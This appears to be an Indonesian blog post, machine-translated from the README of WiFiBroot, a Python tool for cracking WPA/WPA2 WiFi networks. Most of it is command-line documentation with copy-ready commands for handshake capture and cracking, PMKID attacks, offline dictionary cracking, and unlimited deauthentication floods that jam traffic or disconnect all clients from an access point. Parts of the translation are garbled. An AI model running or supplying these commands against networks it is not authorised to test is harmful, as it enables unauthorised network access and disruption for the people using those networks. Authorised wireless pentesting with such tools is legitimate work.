WiFiBroot: Alat WiFi Pentesting Dan Cracking Untuk WPA/WPA2

  • Whatsapp
WiFiBroot: Alat WiFi Pentesting Dan Cracking Untuk WPA/WPA2

Tentang WiFiBroot
WiFiBroot adalah alat WiFi-Penetest-Cracking untuk WPA/WPA2 (Jabat Tangan, PMKID, Cracking Offline, EAPOLS, Serangan Deauthentication).
WiFiBroot dibangun untuk menyediakan fasilitas all-in-one kepada klien untuk meretas jaringan WiFi (WPA/WPA2). Ini sangat bergantung pada scapy, pustaka manipulasi paket berfitur lengkap di Python. Hampir setiap proses di dalamnya bergantung pada lapisan scapy dan fungsi lainnya kecuali untuk mengoperasikan antarmuka nirkabel pada saluran yang berbeda. Itu akan dilakukan melalui perintah linux asli iwconfig yang Anda mungkin memerlukan hak sudo. Saat ini menyediakan empat mode kerja independen untuk menangani jaringan target. Dua di antaranya adalah metode cracking online sementara yang lain berjalan dalam mode offline. Mode offline disediakan untuk memecahkan hash yang disimpan dari dua mode pertama. Salah satunya adalah untuk serangan deauthentication pada jaringan nirkabel dan juga dapat digunakan sebagai jamming handler. Itu dapat dijalankan di berbagai platform linux dan setidaknya membutuhkan WN727N dari TP-Link untuk beroperasi dengan benar.

Instalasi WiFiBroot
WiFiBroot sangat bergantung pada scapy. Jadi, Anda akan membutuhkan takut diinstal. Hampir, setiap perpustakaan lain kemungkinan akan diinstal pada sistem Anda. Pastikan versi yang Anda instal untuk scapy seharusnya 2.4.0 atau lebih rendah. Versi yang lebih baru cenderung menimbulkan beberapa kesalahan yang tidak diketahui.
Script seharusnya dijalankan di bawah sudo tetapi masih akan berfungsi meskipun tidak berjalan di bawah mode root. Argumen dasar yang diperlukan adalah:
sudo python wifibroot.py -i [interface] -d /path/to/dictionary -m [mode]

Dokumentasi WiFiBroot:
WiFiBroot menggunakan mode untuk mengidentifikasi serangan mana yang ingin Anda lakukan pada target Anda. Saat ini, ada tiga mode yang tersedia. Penggunaan masing-masing mode dapat dilihat dengan menyediakan --help/-h pilihan tepat setelah -m/--mode pilihan. Berikut daftar mode yang tersedia dan fungsinya:

Bacaan Lainnya

Mode WiFiBroot:
Syntax:
    $ python wifibroot.py [--mode [modes]] [--options]
    $ python wifibroot.py --mode 2 -i wlan1mon --verbose -d /path/to/list -w pmkid.txt

Modes:
    #     Description                                 Value
    01    Capture 4-way handshake and crack MIC code    1
    02    Captures and Crack PMKID (PMKID Attack)       2
    03    Perform Manual cracking on available
          capture types. See --list-types               3
    04    Deauthentication. Disconnect two stations
          and jam the traffic.                          4

Use -h, --help after -m, --mode to get help on modes. 

   Setiap mode memiliki tujuan tertentu dan memiliki opsinya sendiri:

Jabat tangan:
Mode:
   01      Capture 4-way handshake and crack MIC code    1

Options:
   Args               Description                      Required
   -h, --help         Show this help manual              NO
   -i, --interface    Monitor Interface to use           YES
   -v, --verbose      Turn off Verbose mode.             NO
   -t, --timeout      Time Delay between two deauth
                      requests.                          NO
   -d, --dictionary   Dictionary for Cracking            YES
   -w, --write        Write Captured handshake to
                      a seperate file                    NO
       --deauth       Number of Deauthentication
                      frames to send                     NO

Filters:
   -e, --essid         ESSID of listening network
   -b, --bssid         BSSID of target network.
   -c, --channel       Channel interface should be listening
                       on. Default: ALL

      PMKID Attack:
Mode:
   02      Captures and Crack PMKID (PMKID Attack)       1

Options:
   Args               Description                      Required
   -h, --help         Show this help manual              NO
   -i, --interface    Monitor Interface to use           YES
   -v, --verbose      Turn off Verbose mode.             NO
   -d, --dictionary   Dictionary for Cracking            YES
   -w, --write        Write Captured handshake to
                      a seperate file                    NO

Filters:
   -e, --essid         ESSID of listening network
   -b, --bssid         BSSID of target network.
   -c, --channel       Channel interface should be listening
                       on. Default: ALL
 
      Retak Offline:
Mode:
   03    Perform Manaul cracking on available capture
         types. See --list-types                         3

Options:
   Args               Description                      Required
   -h, --help         Show this help manual              NO
       --list-types   List available cracking types      NO
       --type         Type of capture to crack           YES
   -v, --verbose      Turn off Verbose mode.             NO
   -d, --dictionary   Dictionary for Cracking            YES
   -e, --essid        ESSID of target network.
                      Only for HANDSHAKE Type            YES
   -r, --read         Captured file to crack             YES

Serangan Deauthentication (Pengujian Stres):
Mode:
    04   Deauthentication. Disconnect two stations
         and jam the traffic.                            4

Options:
    Args              Description                      Required
    -h, --help        Show this help manual              NO
    -i, --interface   Monitor Mode Interface to use      YES
    -0, --count       Number of Deauthentication
                      frames to send. '0' specifies
                      unlimited frames                   YES
        --ap          Access Point MAC Address           NO
        --client      STA (Station) MAC Address          NO

Contoh WiFiBroot
   Untuk Menangkap jabat tangan 4 arah dan memecahkan kode MIC:

python wifibroot.py --mode 1 -i wlan1mon --verbose -d dicts/list.txt -w output.cap

   Untuk Menangkap dan Memecahkan PMKID:
python wifibroot.py --mode 2 -i wlan1mon --verbose -d dicts/list.txt -w output.txt

Jabat Tangan Crack Offline dan PMKID:
python wifibroot.py --mode 3 --type handshake --essid "TARGET ESSID" --verbose -d dicts/list.txt --read output.cap
python wifibroot.py --mode 3 --type pmkid --verbose -d dicts/list.txt --read output.txt

Serangan deauthentication dalam berbagai bentuk:
# Serangan Deauthentication Ultimate:
python wifibroot.py --mode 4 -i wlan1mon -00 --verbose
# Putuskan Semua Klien dari Acess Point:

python wifibroot.py --mode 4 -i wlan1mon --ap [AP MAC] --verbose
# Putuskan Sambungan Klien Tertentu:

python wifibroot.py --mode 4 -i wlan1mon --ap [AP MAC] --client [STA MAC] --verbose

Dukung:

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *